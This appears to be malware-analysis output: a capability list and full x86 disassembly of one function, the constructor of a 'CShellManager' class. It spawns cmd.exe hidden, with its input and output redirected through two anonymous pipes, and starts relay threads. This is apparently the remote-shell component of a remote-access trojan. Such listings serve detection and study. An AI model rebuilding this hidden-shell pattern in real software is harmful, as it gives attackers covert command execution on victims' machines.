Function at 0x100052c0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001298b
mov eax, dword fs:[0]
push eax
sub esp, 0x180
mov eax, dword [0x100171b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], ecx
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push esi
mov dword [ebp - 0x13c], esi
call edx
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 8], edi
mov dword [ebp - 4], edi
xor eax, eax
push 0x40
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x184]
push edi
push eax
mov dword [esi], vtable.CShellManager.0
mov dword [esi + 0x14], edi
mov dword [ebp - 0x188], edi
call fcn.1000b290
xor eax, eax
push 0x103
lea ecx, [ebp - 0x117]
push edi
push ecx
mov dword [ebp - 0x12c], edi
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov byte [ebp - 0x118], al
call fcn.1000b290
add esp, 0x18
lea eax, [esi + 0x18]
push 0
lea ebx, [esi + 0x20]
lea edx, [ebp - 0x138]
mov dword [eax], edi
mov dword [esi + 0x1c], edi
mov dword [ebx], edi
push edx
lea edi, [esi + 0x24]
push edi
push eax
mov dword [edi], 0
mov dword [ebp - 0x138], 0xc
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x100053e6
mov eax, dword [esi + 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100053d4
push eax
call ebx
mov edi, dword [edi]
test edi, edi
je 0x10005597
push edi
call ebx
jmp 0x10005597
push 0
lea eax, [ebp - 0x138]
push eax
lea eax, [esi + 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10005420
mov eax, dword [esi + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1000540e
push eax
call edi
mov ebx, dword [ebx]
test ebx, ebx
je 0x10005597
push ebx
call edi
jmp 0x10005597
push 0x44
lea ecx, [ebp - 0x188]
push 0
push ecx
call fcn.1000b290
xor eax, eax
add esp, 0xc
lea edx, [ebp - 0x188]
push edx
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov ecx, dword [ebx]
xor eax, eax
mov word [ebp - 0x158], ax
mov eax, dword [edi]
push 0x104
lea edx, [ebp - 0x118]
push edx
mov dword [ebp - 0x188], 0x44
mov dword [ebp - 0x15c], 0x101
mov dword [ebp - 0x150], ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe
lea eax, [ebp - 0x118]
push 0x104
push eax
call fcn.10006d80
add esp, 0xc
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x188]
push edx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000550e
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esi + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
mov ecx, dword [edi]
push ecx
call ebx
jmp 0x10005597
cmp dword [esi + 8], 0
mov edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x128]
mov dword [esi + 0x28], edx
mov dword [esi + 0x2c], eax
mov dword [esi + 0x38], 0
mov byte [ebp - 0x119], 0xd
jne 0x10005547
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 1
lea eax, [ebp - 0x119]
push eax
call edx
mov eax, dword [esi + 0xc]
push 0x1770
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
push 0x10005700
push 0
push 0
call fcn.10006b9b
push 0
push 0
push esi
push 0x100057f0
push 0
push 0
mov dword [esi + 0x30], eax
call fcn.10006b9b
add esp, 0x30
mov dword [esi + 0x34], eax
mov dword [esi + 0x14], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10006195
mov esp, ebp
pop ebp
ret